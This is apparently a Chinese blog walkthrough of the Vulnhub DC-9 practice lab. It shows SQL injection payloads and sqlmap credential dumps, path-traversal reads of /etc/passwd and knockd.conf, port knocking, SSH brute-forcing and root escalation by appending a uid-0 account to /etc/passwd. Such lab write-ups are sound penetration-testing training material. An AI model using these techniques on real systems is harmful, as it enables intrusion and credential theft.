Vulnhub DC-9

明确:《中华人民共和国网络安全法 》 

 

Description

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

Technical Information

DC-9 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.

All challenges are tested with VirtualBox and VMware.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.

Important

While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.

Credits

A big thanks goes out to the members of @m0tl3ycr3w.

Download

Download DC-9 here.

Sha1 Signature - b9a3018997c4c01ffe0994ad019e0c37ff019001

Walkthrough

DC-9 Walkthrough by MZFR

依旧是扎根,唯一 flag,先扫网段 

扫到的是 192.168.37.132,扫开启的服务,80 和 22,但是 22 端口这次扫出来的状态跟以往的状态不同(以往的界面如下图)

相比较,这次的 22 端口后是 filtered (被过滤)

Nmap 下共有六种端口状态:

Open

Closed

Filtered

Unfiltered

Open|filtered

Closed|filtered

http://119.23.104.100/%E5%B7%A5%E5%85%B7/412.html

先往后走

先进网页,可以看到是一个员工详情页,好像是 drupal 但是并没有看到 Wappalyzer 显示 cms,所以这个应该是个 php 页面而已,所以首先不考虑漏洞利用破这个网页,四个菜单两个菜单有框,manage 登录框可以爆破,但是一般不能爆出,由于也并不是 cms 页面,droopescan 也用不了扫用户名

已知的东西有点少,先用 dirsearch 扫页面,可以看到有 include 和 config,有可能存在文件包含漏洞

config 页面空白,也许就是空,是个误导页面,或者是无法看到

nikto 扫也并没有看到有更多的信息

回到页面中寻找更多的信息

经过简单测试可以看到,search 页面搜索后,回显页面是 results,manage 页面输入信息后,回显的信息仍然在 manage 页面,所以有可能两个菜单的框都存在注入

先看看 search 页面,搜索页面所说的是查询姓或名,先抓包看看

可以看到搜索是使用 POST 请求且用 search=xxxx 语句查询,回到页面测试 SQL 语句能否被利用

1                                 0 results

2                                 0 results

a                                 0 results

1'                                0 results

1'#                              0 results

1' and 1=1#                0 results

1' or 1=1#                   回显出 /display.php 中全部职员信息

所以在 search 页面存在 SQL 注入漏洞,字符型

使用 order by 没有正确回显,可能被过滤,查找其中两个用户 Mary 和 Julie

对比可以看到,字段可能有六个,这里姓名分别各为一个字段,在后面查询时漏掉查询有误才发现

select 可以使用,select 查看六个字段,可以看到是六个,但最后一个数如果是 6 回显是 result 0

1' union select 1, 2, 3, 4, 5, 1 #                6 可能被过滤,误导判断

 

1' union select 1, 2, 3, 4, 5, database() #

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email: Staff

1' union select 1, 2, 3, 4, 5, version() #

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email: 10.3.17-MariaDB-0+deb10u1

1' union select 1, 2, 3, 4, concat(table_name), 5 from information_schema.tables where table_schema = database() #

Search results

ID: 1
Name: 2 3
Position: 4
Phone No: StaffDetails
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: Users
Email: 5

1' union select 1, 2, 3, 4, concat(column_name), 5 from information_schema.columns where table_schema = database() #

Search results

ID: 1
Name: 2 3
Position: 4
Phone No: id
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: firstname
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: lastname
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: position
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: phone
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: email
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: reg_date
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: UserID
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: Username
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: Password
Email: 5

  

1' union select 1, 2, Username, Password, 1, 5 from Users #

Search results

ID: 1
Name: 2 admin
Position: 856f5de590ef37314e7c3bdf6f8a66dc
Phone No: 1
Email: 5 

最后得到 admin 用户和密码,密码可以看到可能是哈希加密

john 没有碰撞出,使用 MD5 网站碰撞 MD5免费在线解密破解_MD5在线加密-SOMD5

transorbital1

在 manage 页面登录

登录后可以看到多出来的两个菜单,但左下角同时出现一行 File does not exist,同样新菜单 addrecord 页面左下角也有 File does not exist

查看网络监视器看看有没有特殊的信息,可以看到在没有登录时可以看到 manage 页面是 200

但是在登录后,manage 页面变成了 302 重定向,定向到 welcome 页面,两个页面也都有 File does not exist 的字样显示

所以我们继续往下走,根据三个页面的 File does not exist,所以有可能在登录的时候系统访问了某个文件,猜测可能存在文件包含漏洞,找系统所访问的文件是什么

如果有文件包含漏洞就得有个参数,所以先测试参数,因为这个网站的操作系统是 Debian,所以必含有 passwd 文件,我们使用 wfuzz 爆破参数

由于是登录后才有的 File does not exist,所以需要最新登录的 cookie 值来维持登录,登出会失效

wfuzz -b "PHPSESSID=4jbkh83u8gdeaqrg0rng8hh6ru" -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.37.132/manage.php?FUZZ=../../../../../../../../../etc/passwd

这里使用多个 ../ 是回到根目录

爆出九百多个,-hl 筛选出响应的 

响应  响应行xL  响应单词数xW  响应字符xCh

加入 --hl (隐藏具有相同的 50 行数的响应)

同样有 --hc/hw

wfuzz --hl 50 -b "PHPSESSID=4jbkh83u8gdeaqrg0rng8hh6ru" -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.37.132/manage.php?FUZZ=../../../../../../../../../etc/passwd

最后只剩下一个特殊的参数 file,常用的文件包含参数

这里注意同样也可以在 welcome 或 addrecord 页面进行参数爆破,结果都是一样的

访问 passwd 看看,我们可以看到 Debian 的用户一些细节

File does not exist
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin 
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin 
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin 


mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false 
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash 
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash 
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash 
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash 
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash 
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash 
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash 
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash 
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash 
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash 
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash 
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash 
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash 
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash 
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash 
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash 
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash 

在里面我们可以看到在第五个域(用户描述)中是之前我们在网页中看到的职员信息,从 mysql 用户名往下一共 17 个,分别对应 17 个职员

所以有可能数据库存的密码也能够分别登录他们的 Debian

为了简单方便,这里直接使用 sqlmap 进行爆,可以看到爆出了另外的一个数据库,前面我们查看的数据库是 Staff,现在我们查看 users

sqlmap -u "http://192.168.37.132/results.php" --data "search=1" --dbs 

available databases [3]:
[*] information_schema
[*] Staff
[*] users

sqlmap -u "http://192.168.37.132/results.php" --data "search=1" -D users --tables

Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+

sqlmap -u "http://192.168.37.132/results.php" --data "search=1" -D users -T UserDetails --dump

Database: users
Table: UserDetails
[17 entries]
+----+-----------+------------+---------------------+---------------+-----------+
| id | username  | lastname   | reg_date            | password      | firstname |
+----+-----------+------------+---------------------+---------------+-----------+
| 1  | marym     | Moe        | 2019-12-29 16:58:26 | 3kfs86sfd     | Mary      |
| 2  | julied    | Dooley     | 2019-12-29 16:58:26 | 468sfdfsd2    | Julie     |
| 3  | fredf     | Flintstone | 2019-12-29 16:58:26 | 4sfd87sfd1    | Fred      |
| 4  | barneyr   | Rubble     | 2019-12-29 16:58:26 | RocksOff      | Barney    |
| 5  | tomc      | Cat        | 2019-12-29 16:58:26 | TC&TheBoyz    | Tom       |
| 6  | jerrym    | Mouse      | 2019-12-29 16:58:26 | B8m#48sd      | Jerry     |
| 7  | wilmaf    | Flintstone | 2019-12-29 16:58:26 | Pebbles       | Wilma     |
| 8  | bettyr    | Rubble     | 2019-12-29 16:58:26 | BamBam01      | Betty     |
| 9  | chandlerb | Bing       | 2019-12-29 16:58:26 | UrAG0D!       | Chandler  |
| 10 | joeyt     | Tribbiani  | 2019-12-29 16:58:26 | Passw0rd      | Joey      |
| 11 | rachelg   | Green      | 2019-12-29 16:58:26 | yN72#dsd      | Rachel    |
| 12 | rossg     | Geller     | 2019-12-29 16:58:26 | ILoveRachel   | Ross      |
| 13 | monicag   | Geller     | 2019-12-29 16:58:26 | 3248dsds7s    | Monica    |
| 14 | phoebeb   | Buffay     | 2019-12-29 16:58:26 | smellycats    | Phoebe    |
| 15 | scoots    | McScoots   | 2019-12-29 16:58:26 | YR3BVxxxw87   | Scooter   |
| 16 | janitor   | Trump      | 2019-12-29 16:58:26 | Ilovepeepee   | Donald    |
| 17 | janitor2  | Morrison   | 2019-12-29 16:58:28 | Hawaii-Five-0 | Scott     |
+----+-----------+------------+---------------------+---------------+-----------+

由于数量有点小多,将 username 和 password 分别作为密码本准备爆破

但是会发现访问拒绝,这是因为 Nmap 受到过滤,我们在前面 Nmap 端口扫描的时候就发现 22 端口的状态是 filtered,对于端口也有可能会被隐藏,proxy 反向代理,修改 API 参数和 knockd 服务,在很多隐藏端口方法中 knockd 服务是相对来说最简单操作的,先确定是否使用了 knockd 服务来隐藏端口。

进行配置 knockd 服务时会配置 /etc/knockd.conf 文件,所以利用之前的文件包含漏洞,我们可以直接访问文件,查看是否存在

结果是我们已经获得了 konckd.conf 文件内容,所以端口是使用了端口敲门服务隐藏的

File does not exist

[options] 
UseSyslog 

[openSSH] 
sequence = 7469,8475,9842     //定义敲门顺序号

seq_timeout = 25              //设置超时时间

command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 

tcpflags = syn 

根据文件整理分析,可以得到敲门的序列端口号,这里我使用 nc 和 for 循环敲门

for x in 7469 8475 9842 22;do nc 192.168.37.132 $x;done

这里还可以使用 nmap 进行敲门 

 

依次敲三个端口后回来扫描,这时候端口已经打开了,nmap 查看端口服务会发现 open

这时候我们再次爆破得到三个可登录的账号密码

[22][ssh] host: 192.168.37.132   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.37.132   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.37.132   login: janitor   password: Ilovepeepee

ssh chandlerb@192.168.37.132
UrAG0D!

ssh joeyt@192.168.37.132
Passw0rd

ssh janitor@192.168.37.132
Ilovepeepee

登上三个用户的操作系统后 ls,发现没有东西,ls -l 也没有东西,文件被隐藏

 

使用 ls -la 显示隐藏文件 

 

可以看到最特殊的是 janitor,有一个 .secrets-for-putin 文件夹

进入文件夹,里面含有一个好像是密码本

新的密码,但是应该用到哪个地方,回头看有两个地方网页或者是操作系统,这里发现的新密码本应该是操作系统用户的,所以有可能是前面 17 个用户中某个用户的密码

 

重新写密码本

再次爆破,结果确实可以爆破出,且有两个用户

[22][ssh] host: 192.168.37.132   login: fredf   password: B4-Tru3-001
[22][ssh] host: 192.168.37.132   login: joeyt   password: Passw0rd

ssh fredf@192.168.37.132
B4-Tru3-001

ssh joeyt@192.168.37.132
Passw0rd

 这次没有特别的文件存在,history 也没有发现历史操作,内核漏洞不容易查,先搁一边,剩下一个查可使用命令,结果如下,joeyt 没有在 dc-9 上使用 sudo 命令的权限,但是 fredf 可以

Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test

test 文件直接 cat 会发现全是乱码

 执行后可以看到系统显示用法,python 文件 test.py 的阅读和追加,假如有了文件的读取和追加脚本,就可以将新的 root 用户添加,切换,拿下,所以找 test.py 查看其源码

先找 test.py 文件

过滤无法访问的内容后得到两条条路径

/opt/devstuff/test.py

/usr/lib/python3/dist-packages/setuptools/command/test.py  

可以看到第一个路径也是可执行目录的上上个目录中的 test.py 脚本如下

/opt/devstuff/test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

很显然其中包括了之前 usage 中的 read(r) 和 append(a),先读取第一个文件内容,然后追加到第二个文件内容,由于是文件和文件的内容,我们所想要添加的记录应该存在文件中

先创建用户记录

Pai:$1$Pai$6n2pkS5YohaAnt/IYqTIJ1:0:0::/root:/bin/bash

[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell] 

uid 和 gid 都为 0 表示管理员,即 root 

第二个域密码需要加密,这里用 md5 加盐加密

openssl passwd -1 -salt Pai 123456

$1$Pai$6n2pkS5YohaAnt/IYqTIJ1

Pai:$1$Pai$6n2pkS5YohaAnt/IYqTIJ1:0:0::/root:/bin/bash

将我自己定义的记录先传到靶机中,而开始的路径不能进行操作,只有在 tmp 临时目录下能操作

echo 'Pai:$1$Pai$6n2pkS5YohaAnt/IYqTIJ1:0:0::/root:/bin/bash' >> /tmp/Pai

 

 在可以使用 root 权限的目录下运行脚本,运行其中 test 程序,而不是 test.py

 

可以看到我追加的用户记录

 

 切换用户

获取 flag

🧊DC-9 中出现的问题:

在进行 ssh 爆破的时候发现能够直接爆破,重启靶机重新恢复后,不能再次成功直接爆破,我试过每个操作指令都没有发现能顺便破门的指令,目前能怀疑的是在我断网的过程中门不能够维持而消失,以至于之后能够直接爆破。

🧊/dev/null是一个特殊的设备文件,这个文件接收到的任何数据都会被丢弃

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Part 03

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值